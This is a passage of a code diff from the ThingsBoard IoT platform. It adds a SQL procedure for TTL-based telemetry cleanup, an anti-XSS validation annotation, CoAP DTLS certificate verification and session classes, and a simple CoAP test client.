76 changed files with 2170 additions and 396 deletions
@ -0,0 +1,87 @@ |
|||||
|
-- |
||||
|
-- Copyright © 2016-2021 The Thingsboard Authors |
||||
|
-- |
||||
|
-- Licensed under the Apache License, Version 2.0 (the "License"); |
||||
|
-- you may not use this file except in compliance with the License. |
||||
|
-- You may obtain a copy of the License at |
||||
|
-- |
||||
|
-- http://www.apache.org/licenses/LICENSE-2.0 |
||||
|
-- |
||||
|
-- Unless required by applicable law or agreed to in writing, software |
||||
|
-- distributed under the License is distributed on an "AS IS" BASIS, |
||||
|
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
||||
|
-- See the License for the specific language governing permissions and |
||||
|
-- limitations under the License. |
||||
|
-- |
||||
|
|
||||
|
CREATE OR REPLACE PROCEDURE cleanup_timeseries_by_ttl(IN null_uuid uuid, |
||||
|
IN system_ttl bigint, INOUT deleted bigint) |
||||
|
LANGUAGE plpgsql AS |
||||
|
$$ |
||||
|
DECLARE |
||||
|
tenant_cursor CURSOR FOR select tenant.id as tenant_id |
||||
|
from tenant; |
||||
|
tenant_id_record uuid; |
||||
|
customer_id_record uuid; |
||||
|
tenant_ttl bigint; |
||||
|
customer_ttl bigint; |
||||
|
deleted_for_entities bigint; |
||||
|
tenant_ttl_ts bigint; |
||||
|
customer_ttl_ts bigint; |
||||
|
BEGIN |
||||
|
OPEN tenant_cursor; |
||||
|
FETCH tenant_cursor INTO tenant_id_record; |
||||
|
WHILE FOUND |
||||
|
LOOP |
||||
|
EXECUTE format( |
||||
|
'select attribute_kv.long_v from attribute_kv where attribute_kv.entity_id = %L and attribute_kv.attribute_key = %L', |
||||
|
tenant_id_record, 'TTL') INTO tenant_ttl; |
||||
|
if tenant_ttl IS NULL THEN |
||||
|
tenant_ttl := system_ttl; |
||||
|
END IF; |
||||
|
IF tenant_ttl > 0 THEN |
||||
|
tenant_ttl_ts := (EXTRACT(EPOCH FROM current_timestamp) * 1000 - tenant_ttl::bigint * 1000)::bigint; |
||||
|
deleted_for_entities := delete_device_records_from_ts_kv(tenant_id_record, null_uuid, tenant_ttl_ts); |
||||
|
deleted := deleted + deleted_for_entities; |
||||
|
RAISE NOTICE '% telemetry removed for devices where tenant_id = %', deleted_for_entities, tenant_id_record; |
||||
|
deleted_for_entities := delete_asset_records_from_ts_kv(tenant_id_record, null_uuid, tenant_ttl_ts); |
||||
|
deleted := deleted + deleted_for_entities; |
||||
|
RAISE NOTICE '% telemetry removed for assets where tenant_id = %', deleted_for_entities, tenant_id_record; |
||||
|
END IF; |
||||
|
FOR customer_id_record IN |
||||
|
SELECT customer.id AS customer_id FROM customer WHERE customer.tenant_id = tenant_id_record |
||||
|
LOOP |
||||
|
EXECUTE format( |
||||
|
'select attribute_kv.long_v from attribute_kv where attribute_kv.entity_id = %L and attribute_kv.attribute_key = %L', |
||||
|
customer_id_record, 'TTL') INTO customer_ttl; |
||||
|
IF customer_ttl IS NULL THEN |
||||
|
customer_ttl_ts := tenant_ttl_ts; |
||||
|
ELSE |
||||
|
IF customer_ttl > 0 THEN |
||||
|
customer_ttl_ts := |
||||
|
(EXTRACT(EPOCH FROM current_timestamp) * 1000 - |
||||
|
customer_ttl::bigint * 1000)::bigint; |
||||
|
END IF; |
||||
|
END IF; |
||||
|
IF customer_ttl_ts IS NOT NULL AND customer_ttl_ts > 0 THEN |
||||
|
deleted_for_entities := |
||||
|
delete_customer_records_from_ts_kv(tenant_id_record, customer_id_record, |
||||
|
customer_ttl_ts); |
||||
|
deleted := deleted + deleted_for_entities; |
||||
|
RAISE NOTICE '% telemetry removed for customer with id = % where tenant_id = %', deleted_for_entities, customer_id_record, tenant_id_record; |
||||
|
deleted_for_entities := |
||||
|
delete_device_records_from_ts_kv(tenant_id_record, customer_id_record, |
||||
|
customer_ttl_ts); |
||||
|
deleted := deleted + deleted_for_entities; |
||||
|
RAISE NOTICE '% telemetry removed for devices where tenant_id = % and customer_id = %', deleted_for_entities, tenant_id_record, customer_id_record; |
||||
|
deleted_for_entities := delete_asset_records_from_ts_kv(tenant_id_record, |
||||
|
customer_id_record, |
||||
|
customer_ttl_ts); |
||||
|
deleted := deleted + deleted_for_entities; |
||||
|
RAISE NOTICE '% telemetry removed for assets where tenant_id = % and customer_id = %', deleted_for_entities, tenant_id_record, customer_id_record; |
||||
|
END IF; |
||||
|
END LOOP; |
||||
|
FETCH tenant_cursor INTO tenant_id_record; |
||||
|
END LOOP; |
||||
|
END |
||||
|
$$; |
||||
@ -0,0 +1,34 @@ |
|||||
|
/** |
||||
|
* Copyright © 2016-2021 The Thingsboard Authors |
||||
|
* |
||||
|
* Licensed under the Apache License, Version 2.0 (the "License"); |
||||
|
* you may not use this file except in compliance with the License. |
||||
|
* You may obtain a copy of the License at |
||||
|
* |
||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
* |
||||
|
* Unless required by applicable law or agreed to in writing, software |
||||
|
* distributed under the License is distributed on an "AS IS" BASIS, |
||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
||||
|
* See the License for the specific language governing permissions and |
||||
|
* limitations under the License. |
||||
|
*/ |
||||
|
package org.thingsboard.server.common.data.validation; |
||||
|
|
||||
|
import javax.validation.Constraint; |
||||
|
import javax.validation.Payload; |
||||
|
import java.lang.annotation.ElementType; |
||||
|
import java.lang.annotation.Retention; |
||||
|
import java.lang.annotation.RetentionPolicy; |
||||
|
import java.lang.annotation.Target; |
||||
|
|
||||
|
@Retention(RetentionPolicy.RUNTIME) |
||||
|
@Target(ElementType.FIELD) |
||||
|
@Constraint(validatedBy = {}) |
||||
|
public @interface NoXss { |
||||
|
String message() default "field value is malformed"; |
||||
|
|
||||
|
Class<?>[] groups() default {}; |
||||
|
|
||||
|
Class<? extends Payload>[] payload() default {}; |
||||
|
} |
||||
@ -0,0 +1,161 @@ |
|||||
|
/** |
||||
|
* Copyright © 2016-2021 The Thingsboard Authors |
||||
|
* |
||||
|
* Licensed under the Apache License, Version 2.0 (the "License"); |
||||
|
* you may not use this file except in compliance with the License. |
||||
|
* You may obtain a copy of the License at |
||||
|
* |
||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
* |
||||
|
* Unless required by applicable law or agreed to in writing, software |
||||
|
* distributed under the License is distributed on an "AS IS" BASIS, |
||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
||||
|
* See the License for the specific language governing permissions and |
||||
|
* limitations under the License. |
||||
|
*/ |
||||
|
package org.thingsboard.server.transport.coap; |
||||
|
|
||||
|
import lombok.Data; |
||||
|
import lombok.extern.slf4j.Slf4j; |
||||
|
import org.eclipse.californium.elements.util.CertPathUtil; |
||||
|
import org.eclipse.californium.scandium.dtls.AlertMessage; |
||||
|
import org.eclipse.californium.scandium.dtls.CertificateMessage; |
||||
|
import org.eclipse.californium.scandium.dtls.CertificateType; |
||||
|
import org.eclipse.californium.scandium.dtls.CertificateVerificationResult; |
||||
|
import org.eclipse.californium.scandium.dtls.ConnectionId; |
||||
|
import org.eclipse.californium.scandium.dtls.DTLSSession; |
||||
|
import org.eclipse.californium.scandium.dtls.HandshakeException; |
||||
|
import org.eclipse.californium.scandium.dtls.HandshakeResultHandler; |
||||
|
import org.eclipse.californium.scandium.dtls.x509.NewAdvancedCertificateVerifier; |
||||
|
import org.eclipse.californium.scandium.util.ServerNames; |
||||
|
import org.springframework.util.StringUtils; |
||||
|
import org.thingsboard.server.common.data.DeviceProfile; |
||||
|
import org.thingsboard.server.common.data.DeviceTransportType; |
||||
|
import org.thingsboard.server.common.msg.EncryptionUtil; |
||||
|
import org.thingsboard.server.common.transport.TransportService; |
||||
|
import org.thingsboard.server.common.transport.TransportServiceCallback; |
||||
|
import org.thingsboard.server.common.transport.auth.SessionInfoCreator; |
||||
|
import org.thingsboard.server.common.transport.auth.ValidateDeviceCredentialsResponse; |
||||
|
import org.thingsboard.server.common.transport.util.SslUtil; |
||||
|
import org.thingsboard.server.gen.transport.TransportProtos; |
||||
|
import org.thingsboard.server.queue.discovery.TbServiceInfoProvider; |
||||
|
|
||||
|
import javax.security.auth.x500.X500Principal; |
||||
|
import java.security.cert.CertPath; |
||||
|
import java.security.cert.CertificateEncodingException; |
||||
|
import java.security.cert.CertificateExpiredException; |
||||
|
import java.security.cert.CertificateNotYetValidException; |
||||
|
import java.security.cert.X509Certificate; |
||||
|
import java.util.Collections; |
||||
|
import java.util.List; |
||||
|
import java.util.UUID; |
||||
|
import java.util.concurrent.ConcurrentMap; |
||||
|
import java.util.concurrent.CountDownLatch; |
||||
|
import java.util.concurrent.TimeUnit; |
||||
|
|
||||
|
@Slf4j |
||||
|
@Data |
||||
|
public class TbCoapDtlsCertificateVerifier implements NewAdvancedCertificateVerifier { |
||||
|
|
||||
|
private final TbCoapDtlsSessionInMemoryStorage tbCoapDtlsSessionInMemoryStorage; |
||||
|
|
||||
|
private TransportService transportService; |
||||
|
private TbServiceInfoProvider serviceInfoProvider; |
||||
|
private boolean skipValidityCheckForClientCert; |
||||
|
|
||||
|
public TbCoapDtlsCertificateVerifier(TransportService transportService, TbServiceInfoProvider serviceInfoProvider, long dtlsSessionInactivityTimeout, long dtlsSessionReportTimeout, boolean skipValidityCheckForClientCert) { |
||||
|
this.transportService = transportService; |
||||
|
this.serviceInfoProvider = serviceInfoProvider; |
||||
|
this.skipValidityCheckForClientCert = skipValidityCheckForClientCert; |
||||
|
this.tbCoapDtlsSessionInMemoryStorage = new TbCoapDtlsSessionInMemoryStorage(dtlsSessionInactivityTimeout, dtlsSessionReportTimeout); |
||||
|
} |
||||
|
|
||||
|
@Override |
||||
|
public List<CertificateType> getSupportedCertificateType() { |
||||
|
return Collections.singletonList(CertificateType.X_509); |
||||
|
} |
||||
|
|
||||
|
@Override |
||||
|
public CertificateVerificationResult verifyCertificate(ConnectionId cid, ServerNames serverName, Boolean clientUsage, boolean truncateCertificatePath, CertificateMessage message, DTLSSession session) { |
||||
|
try { |
||||
|
String credentialsBody = null; |
||||
|
CertPath certpath = message.getCertificateChain(); |
||||
|
X509Certificate[] chain = certpath.getCertificates().toArray(new X509Certificate[0]); |
||||
|
for (X509Certificate cert : chain) { |
||||
|
try { |
||||
|
if (!skipValidityCheckForClientCert) { |
||||
|
cert.checkValidity(); |
||||
|
} |
||||
|
String strCert = SslUtil.getCertificateString(cert); |
||||
|
String sha3Hash = EncryptionUtil.getSha3Hash(strCert); |
||||
|
final ValidateDeviceCredentialsResponse[] deviceCredentialsResponse = new ValidateDeviceCredentialsResponse[1]; |
||||
|
CountDownLatch latch = new CountDownLatch(1); |
||||
|
transportService.process(DeviceTransportType.COAP, TransportProtos.ValidateDeviceX509CertRequestMsg.newBuilder().setHash(sha3Hash).build(), |
||||
|
new TransportServiceCallback<>() { |
||||
|
@Override |
||||
|
public void onSuccess(ValidateDeviceCredentialsResponse msg) { |
||||
|
if (!StringUtils.isEmpty(msg.getCredentials())) { |
||||
|
deviceCredentialsResponse[0] = msg; |
||||
|
} |
||||
|
latch.countDown(); |
||||
|
} |
||||
|
|
||||
|
@Override |
||||
|
public void onError(Throwable e) { |
||||
|
log.error(e.getMessage(), e); |
||||
|
latch.countDown(); |
||||
|
} |
||||
|
}); |
||||
|
latch.await(10, TimeUnit.SECONDS); |
||||
|
ValidateDeviceCredentialsResponse msg = deviceCredentialsResponse[0]; |
||||
|
if (msg != null && strCert.equals(msg.getCredentials())) { |
||||
|
credentialsBody = msg.getCredentials(); |
||||
|
DeviceProfile deviceProfile = msg.getDeviceProfile(); |
||||
|
if (msg.hasDeviceInfo() && deviceProfile != null) { |
||||
|
TransportProtos.SessionInfoProto sessionInfoProto = SessionInfoCreator.create(msg, serviceInfoProvider.getServiceId(), UUID.randomUUID()); |
||||
|
tbCoapDtlsSessionInMemoryStorage.put(session.getSessionIdentifier().toString(), new TbCoapDtlsSessionInfo(sessionInfoProto, deviceProfile)); |
||||
|
} |
||||
|
break; |
||||
|
} |
||||
|
} catch (InterruptedException | |
||||
|
CertificateEncodingException | |
||||
|
CertificateExpiredException | |
||||
|
CertificateNotYetValidException e) { |
||||
|
log.error(e.getMessage(), e); |
||||
|
} |
||||
|
} |
||||
|
if (credentialsBody == null) { |
||||
|
AlertMessage alert = new AlertMessage(AlertMessage.AlertLevel.FATAL, AlertMessage.AlertDescription.BAD_CERTIFICATE, |
||||
|
session.getPeer()); |
||||
|
throw new HandshakeException("Certificate chain could not be validated", alert); |
||||
|
} else { |
||||
|
return new CertificateVerificationResult(cid, certpath, null); |
||||
|
} |
||||
|
} catch (HandshakeException e) { |
||||
|
log.trace("Certificate validation failed!", e); |
||||
|
return new CertificateVerificationResult(cid, e, null); |
||||
|
} |
||||
|
} |
||||
|
|
||||
|
@Override |
||||
|
public List<X500Principal> getAcceptedIssuers() { |
||||
|
return CertPathUtil.toSubjects(null); |
||||
|
} |
||||
|
|
||||
|
@Override |
||||
|
public void setResultHandler(HandshakeResultHandler resultHandler) { |
||||
|
// empty implementation
|
||||
|
} |
||||
|
|
||||
|
public ConcurrentMap<String, TbCoapDtlsSessionInfo> getTbCoapDtlsSessionIdsMap() { |
||||
|
return tbCoapDtlsSessionInMemoryStorage.getDtlsSessionIdMap(); |
||||
|
} |
||||
|
|
||||
|
public void evictTimeoutSessions() { |
||||
|
tbCoapDtlsSessionInMemoryStorage.evictTimeoutSessions(); |
||||
|
} |
||||
|
|
||||
|
public long getDtlsSessionReportTimeout() { |
||||
|
return tbCoapDtlsSessionInMemoryStorage.getDtlsSessionReportTimeout(); |
||||
|
} |
||||
|
} |
||||
@ -0,0 +1,55 @@ |
|||||
|
/** |
||||
|
* Copyright © 2016-2021 The Thingsboard Authors |
||||
|
* |
||||
|
* Licensed under the Apache License, Version 2.0 (the "License"); |
||||
|
* you may not use this file except in compliance with the License. |
||||
|
* You may obtain a copy of the License at |
||||
|
* |
||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
* |
||||
|
* Unless required by applicable law or agreed to in writing, software |
||||
|
* distributed under the License is distributed on an "AS IS" BASIS, |
||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
||||
|
* See the License for the specific language governing permissions and |
||||
|
* limitations under the License. |
||||
|
*/ |
||||
|
package org.thingsboard.server.transport.coap; |
||||
|
|
||||
|
import lombok.Data; |
||||
|
import lombok.extern.slf4j.Slf4j; |
||||
|
|
||||
|
import java.util.concurrent.ConcurrentHashMap; |
||||
|
import java.util.concurrent.ConcurrentMap; |
||||
|
|
||||
|
@Slf4j |
||||
|
@Data |
||||
|
public class TbCoapDtlsSessionInMemoryStorage { |
||||
|
|
||||
|
private final ConcurrentMap<String, TbCoapDtlsSessionInfo> dtlsSessionIdMap = new ConcurrentHashMap<>(); |
||||
|
private long dtlsSessionInactivityTimeout; |
||||
|
private long dtlsSessionReportTimeout; |
||||
|
|
||||
|
|
||||
|
public TbCoapDtlsSessionInMemoryStorage(long dtlsSessionInactivityTimeout, long dtlsSessionReportTimeout) { |
||||
|
this.dtlsSessionInactivityTimeout = dtlsSessionInactivityTimeout; |
||||
|
this.dtlsSessionReportTimeout = dtlsSessionReportTimeout; |
||||
|
} |
||||
|
|
||||
|
public void put(String dtlsSessionId, TbCoapDtlsSessionInfo dtlsSessionInfo) { |
||||
|
log.trace("DTLS session added to in-memory store: [{}] timestamp: [{}]", dtlsSessionId, dtlsSessionInfo.getLastActivityTime()); |
||||
|
dtlsSessionIdMap.putIfAbsent(dtlsSessionId, dtlsSessionInfo); |
||||
|
} |
||||
|
|
||||
|
public void evictTimeoutSessions() { |
||||
|
long expTime = System.currentTimeMillis() - dtlsSessionInactivityTimeout; |
||||
|
dtlsSessionIdMap.entrySet().removeIf(entry -> { |
||||
|
if (entry.getValue().getLastActivityTime() < expTime) { |
||||
|
log.trace("DTLS session was removed from in-memory store: [{}]", entry.getKey()); |
||||
|
return true; |
||||
|
} else { |
||||
|
return false; |
||||
|
} |
||||
|
}); |
||||
|
} |
||||
|
|
||||
|
} |
||||
@ -0,0 +1,35 @@ |
|||||
|
/** |
||||
|
* Copyright © 2016-2021 The Thingsboard Authors |
||||
|
* |
||||
|
* Licensed under the Apache License, Version 2.0 (the "License"); |
||||
|
* you may not use this file except in compliance with the License. |
||||
|
* You may obtain a copy of the License at |
||||
|
* |
||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
* |
||||
|
* Unless required by applicable law or agreed to in writing, software |
||||
|
* distributed under the License is distributed on an "AS IS" BASIS, |
||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
||||
|
* See the License for the specific language governing permissions and |
||||
|
* limitations under the License. |
||||
|
*/ |
||||
|
package org.thingsboard.server.transport.coap; |
||||
|
|
||||
|
import lombok.Data; |
||||
|
import org.thingsboard.server.common.data.DeviceProfile; |
||||
|
import org.thingsboard.server.gen.transport.TransportProtos; |
||||
|
|
||||
|
@Data |
||||
|
public class TbCoapDtlsSessionInfo { |
||||
|
|
||||
|
private TransportProtos.SessionInfoProto sessionInfoProto; |
||||
|
private DeviceProfile deviceProfile; |
||||
|
private long lastActivityTime; |
||||
|
|
||||
|
|
||||
|
public TbCoapDtlsSessionInfo(TransportProtos.SessionInfoProto sessionInfoProto, DeviceProfile deviceProfile) { |
||||
|
this.sessionInfoProto = sessionInfoProto; |
||||
|
this.deviceProfile = deviceProfile; |
||||
|
this.lastActivityTime = System.currentTimeMillis(); |
||||
|
} |
||||
|
} |
||||
@ -0,0 +1,162 @@ |
|||||
|
/** |
||||
|
* Copyright © 2016-2021 The Thingsboard Authors |
||||
|
* |
||||
|
* Licensed under the Apache License, Version 2.0 (the "License"); |
||||
|
* you may not use this file except in compliance with the License. |
||||
|
* You may obtain a copy of the License at |
||||
|
* |
||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
* |
||||
|
* Unless required by applicable law or agreed to in writing, software |
||||
|
* distributed under the License is distributed on an "AS IS" BASIS, |
||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
||||
|
* See the License for the specific language governing permissions and |
||||
|
* limitations under the License. |
||||
|
*/ |
||||
|
package org.thingsboard.server.transport.coap; |
||||
|
|
||||
|
import com.google.common.io.Resources; |
||||
|
import lombok.extern.slf4j.Slf4j; |
||||
|
import org.eclipse.californium.elements.util.SslContextUtil; |
||||
|
import org.eclipse.californium.scandium.config.DtlsConnectorConfig; |
||||
|
import org.eclipse.californium.scandium.dtls.CertificateType; |
||||
|
import org.eclipse.californium.scandium.dtls.x509.StaticNewAdvancedCertificateVerifier; |
||||
|
import org.springframework.beans.factory.annotation.Autowired; |
||||
|
import org.springframework.beans.factory.annotation.Value; |
||||
|
import org.springframework.boot.autoconfigure.condition.ConditionalOnExpression; |
||||
|
import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; |
||||
|
import org.springframework.stereotype.Component; |
||||
|
import org.thingsboard.server.common.transport.TransportService; |
||||
|
import org.thingsboard.server.queue.discovery.TbServiceInfoProvider; |
||||
|
|
||||
|
import java.io.IOException; |
||||
|
import java.net.InetAddress; |
||||
|
import java.net.InetSocketAddress; |
||||
|
import java.net.UnknownHostException; |
||||
|
import java.security.GeneralSecurityException; |
||||
|
import java.security.cert.Certificate; |
||||
|
import java.util.Collections; |
||||
|
import java.util.Optional; |
||||
|
|
||||
|
@Slf4j |
||||
|
@ConditionalOnProperty(prefix = "transport.coap.dtls", value = "enabled", havingValue = "true", matchIfMissing = false) |
||||
|
@ConditionalOnExpression("'${transport.type:null}'=='null' || ('${transport.type}'=='local' && '${transport.coap.enabled}'=='true')") |
||||
|
@Component |
||||
|
public class TbCoapDtlsSettings { |
||||
|
|
||||
|
@Value("${transport.coap.bind_address}") |
||||
|
private String host; |
||||
|
|
||||
|
@Value("${transport.coap.bind_port}") |
||||
|
private Integer port; |
||||
|
|
||||
|
@Value("${transport.coap.dtls.mode}") |
||||
|
private String mode; |
||||
|
|
||||
|
@Value("${transport.coap.dtls.key_store}") |
||||
|
private String keyStoreFile; |
||||
|
|
||||
|
@Value("${transport.coap.dtls.key_store_password}") |
||||
|
private String keyStorePassword; |
||||
|
|
||||
|
@Value("${transport.coap.dtls.key_password}") |
||||
|
private String keyPassword; |
||||
|
|
||||
|
@Value("${transport.coap.dtls.key_alias}") |
||||
|
private String keyAlias; |
||||
|
|
||||
|
@Value("${transport.coap.dtls.skip_validity_check_for_client_cert}") |
||||
|
private boolean skipValidityCheckForClientCert; |
||||
|
|
||||
|
@Value("${transport.coap.dtls.x509.dtls_session_inactivity_timeout}") |
||||
|
private long dtlsSessionInactivityTimeout; |
||||
|
|
||||
|
@Value("${transport.coap.dtls.x509.dtls_session_report_timeout}") |
||||
|
private long dtlsSessionReportTimeout; |
||||
|
|
||||
|
@Autowired |
||||
|
private TransportService transportService; |
||||
|
|
||||
|
@Autowired |
||||
|
private TbServiceInfoProvider serviceInfoProvider; |
||||
|
|
||||
|
public DtlsConnectorConfig dtlsConnectorConfig() throws UnknownHostException { |
||||
|
Optional<SecurityMode> securityModeOpt = SecurityMode.parse(mode); |
||||
|
if (securityModeOpt.isEmpty()) { |
||||
|
log.warn("Incorrect configuration of securityMode {}", mode); |
||||
|
throw new RuntimeException("Failed to parse mode property: " + mode + "!"); |
||||
|
} else { |
||||
|
DtlsConnectorConfig.Builder configBuilder = new DtlsConnectorConfig.Builder(); |
||||
|
configBuilder.setAddress(getInetSocketAddress()); |
||||
|
String keyStoreFilePath = Resources.getResource(keyStoreFile).getPath(); |
||||
|
SslContextUtil.Credentials serverCredentials = loadServerCredentials(keyStoreFilePath); |
||||
|
SecurityMode securityMode = securityModeOpt.get(); |
||||
|
if (securityMode.equals(SecurityMode.NO_AUTH)) { |
||||
|
configBuilder.setClientAuthenticationRequired(false); |
||||
|
configBuilder.setServerOnly(true); |
||||
|
} else { |
||||
|
configBuilder.setAdvancedCertificateVerifier( |
||||
|
new TbCoapDtlsCertificateVerifier( |
||||
|
transportService, |
||||
|
serviceInfoProvider, |
||||
|
dtlsSessionInactivityTimeout, |
||||
|
dtlsSessionReportTimeout, |
||||
|
skipValidityCheckForClientCert |
||||
|
) |
||||
|
); |
||||
|
} |
||||
|
configBuilder.setIdentity(serverCredentials.getPrivateKey(), serverCredentials.getCertificateChain(), |
||||
|
Collections.singletonList(CertificateType.X_509)); |
||||
|
return configBuilder.build(); |
||||
|
} |
||||
|
} |
||||
|
|
||||
|
private SslContextUtil.Credentials loadServerCredentials(String keyStoreFilePath) { |
||||
|
try { |
||||
|
return SslContextUtil.loadCredentials(keyStoreFilePath, keyAlias, keyStorePassword.toCharArray(), |
||||
|
keyPassword.toCharArray()); |
||||
|
} catch (GeneralSecurityException | IOException e) { |
||||
|
throw new RuntimeException("Failed to load serverCredentials due to: ", e); |
||||
|
} |
||||
|
} |
||||
|
|
||||
|
private void loadTrustedCertificates(DtlsConnectorConfig.Builder config, String keyStoreFilePath) { |
||||
|
StaticNewAdvancedCertificateVerifier.Builder trustBuilder = StaticNewAdvancedCertificateVerifier.builder(); |
||||
|
try { |
||||
|
Certificate[] trustedCertificates = SslContextUtil.loadTrustedCertificates( |
||||
|
keyStoreFilePath, keyAlias, |
||||
|
keyStorePassword.toCharArray()); |
||||
|
trustBuilder.setTrustedCertificates(trustedCertificates); |
||||
|
if (trustBuilder.hasTrusts()) { |
||||
|
config.setAdvancedCertificateVerifier(trustBuilder.build()); |
||||
|
} |
||||
|
} catch (GeneralSecurityException | IOException e) { |
||||
|
throw new RuntimeException("Failed to load trusted certificates due to: ", e); |
||||
|
} |
||||
|
} |
||||
|
|
||||
|
private InetSocketAddress getInetSocketAddress() throws UnknownHostException { |
||||
|
InetAddress addr = InetAddress.getByName(host); |
||||
|
return new InetSocketAddress(addr, port); |
||||
|
} |
||||
|
|
||||
|
private enum SecurityMode { |
||||
|
X509, |
||||
|
NO_AUTH; |
||||
|
|
||||
|
static Optional<SecurityMode> parse(String name) { |
||||
|
SecurityMode mode = null; |
||||
|
if (name != null) { |
||||
|
for (SecurityMode securityMode : SecurityMode.values()) { |
||||
|
if (securityMode.name().equalsIgnoreCase(name)) { |
||||
|
mode = securityMode; |
||||
|
break; |
||||
|
} |
||||
|
} |
||||
|
} |
||||
|
return Optional.ofNullable(mode); |
||||
|
} |
||||
|
|
||||
|
} |
||||
|
|
||||
|
} |
||||
@ -0,0 +1,97 @@ |
|||||
|
/** |
||||
|
* Copyright © 2016-2021 The Thingsboard Authors |
||||
|
* |
||||
|
* Licensed under the Apache License, Version 2.0 (the "License"); |
||||
|
* you may not use this file except in compliance with the License. |
||||
|
* You may obtain a copy of the License at |
||||
|
* |
||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
* |
||||
|
* Unless required by applicable law or agreed to in writing, software |
||||
|
* distributed under the License is distributed on an "AS IS" BASIS, |
||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
||||
|
* See the License for the specific language governing permissions and |
||||
|
* limitations under the License. |
||||
|
*/ |
||||
|
package org.thingsboard.server.transport.coap.client; |
||||
|
|
||||
|
import org.eclipse.californium.core.CoapClient; |
||||
|
import org.eclipse.californium.core.CoapResponse; |
||||
|
import org.eclipse.californium.core.Utils; |
||||
|
import org.eclipse.californium.elements.DtlsEndpointContext; |
||||
|
import org.eclipse.californium.elements.EndpointContext; |
||||
|
import org.eclipse.californium.elements.exception.ConnectorException; |
||||
|
|
||||
|
import java.io.IOException; |
||||
|
import java.net.URI; |
||||
|
import java.net.URISyntaxException; |
||||
|
import java.security.Principal; |
||||
|
import java.util.concurrent.ExecutorService; |
||||
|
import java.util.concurrent.Executors; |
||||
|
|
||||
|
public class NoSecClient { |
||||
|
|
||||
|
private ExecutorService executor = Executors.newFixedThreadPool(1); |
||||
|
private CoapClient coapClient; |
||||
|
|
||||
|
public NoSecClient(String host, int port, String accessToken, String clientKeys, String sharedKeys) throws URISyntaxException { |
||||
|
URI uri = new URI(getFutureUrl(host, port, accessToken, clientKeys, sharedKeys)); |
||||
|
this.coapClient = new CoapClient(uri); |
||||
|
} |
||||
|
|
||||
|
public void test() { |
||||
|
executor.submit(() -> { |
||||
|
try { |
||||
|
while (!Thread.interrupted()) { |
||||
|
CoapResponse response = null; |
||||
|
try { |
||||
|
response = coapClient.get(); |
||||
|
} catch (ConnectorException | IOException e) { |
||||
|
System.err.println("Error occurred while sending request: " + e); |
||||
|
System.exit(-1); |
||||
|
} |
||||
|
if (response != null) { |
||||
|
|
||||
|
System.out.println(response.getCode() + " - " + response.getCode().name()); |
||||
|
System.out.println(response.getOptions()); |
||||
|
System.out.println(response.getResponseText()); |
||||
|
System.out.println(); |
||||
|
System.out.println("ADVANCED:"); |
||||
|
EndpointContext context = response.advanced().getSourceContext(); |
||||
|
Principal identity = context.getPeerIdentity(); |
||||
|
if (identity != null) { |
||||
|
System.out.println(context.getPeerIdentity()); |
||||
|
} else { |
||||
|
System.out.println("anonymous"); |
||||
|
} |
||||
|
System.out.println(context.get(DtlsEndpointContext.KEY_CIPHER)); |
||||
|
System.out.println(Utils.prettyPrint(response)); |
||||
|
} else { |
||||
|
System.out.println("No response received."); |
||||
|
} |
||||
|
Thread.sleep(5000); |
||||
|
} |
||||
|
} catch (Exception e) { |
||||
|
System.out.println("Error occurred while sending COAP requests."); |
||||
|
} |
||||
|
}); |
||||
|
} |
||||
|
|
||||
|
private String getFutureUrl(String host, Integer port, String accessToken, String clientKeys, String sharedKeys) { |
||||
|
return "coap://" + host + ":" + port + "/api/v1/" + accessToken + "/attributes?clientKeys=" + clientKeys + "&sharedKeys=" + sharedKeys; |
||||
|
} |
||||
|
|
||||
|
public static void main(String[] args) throws URISyntaxException { |
||||
|
System.out.println("Usage: java -cp ... org.thingsboard.server.transport.coap.client.NoSecClient " + |
||||
|
"host port accessToken clientKeys sharedKeys"); |
||||
|
|
||||
|
String host = args[0]; |
||||
|
int port = Integer.parseInt(args[1]); |
||||
|
String accessToken = args[2]; |
||||
|
String clientKeys = args[3]; |
||||
|
String sharedKeys = args[4]; |
||||
|
|
||||
|
NoSecClient client = new NoSecClient(host, port, accessToken, clientKeys, sharedKeys); |
||||
|
client.test(); |
||||
|
} |
||||
|
} |
||||
@ -0,0 +1,145 @@ |
|||||
|
/** |
||||
|
* Copyright © 2016-2021 The Thingsboard Authors |
||||
|
* |
||||
|
* Licensed under the Apache License, Version 2.0 (the "License"); |
||||
|
* you may not use this file except in compliance with the License. |
||||
|
* You may obtain a copy of the License at |
||||
|
* |
||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
* |
||||
|
* Unless required by applicable law or agreed to in writing, software |
||||
|
* distributed under the License is distributed on an "AS IS" BASIS, |
||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
||||
|
* See the License for the specific language governing permissions and |
||||
|
* limitations under the License. |
||||
|
*/ |
||||
|
package org.thingsboard.server.transport.coap.client; |
||||
|
|
||||
|
import org.eclipse.californium.core.CoapClient; |
||||
|
import org.eclipse.californium.core.CoapResponse; |
||||
|
import org.eclipse.californium.core.Utils; |
||||
|
import org.eclipse.californium.core.network.CoapEndpoint; |
||||
|
import org.eclipse.californium.elements.DtlsEndpointContext; |
||||
|
import org.eclipse.californium.elements.EndpointContext; |
||||
|
import org.eclipse.californium.elements.exception.ConnectorException; |
||||
|
import org.eclipse.californium.elements.util.SslContextUtil; |
||||
|
import org.eclipse.californium.scandium.DTLSConnector; |
||||
|
import org.eclipse.californium.scandium.config.DtlsConnectorConfig; |
||||
|
import org.eclipse.californium.scandium.dtls.CertificateType; |
||||
|
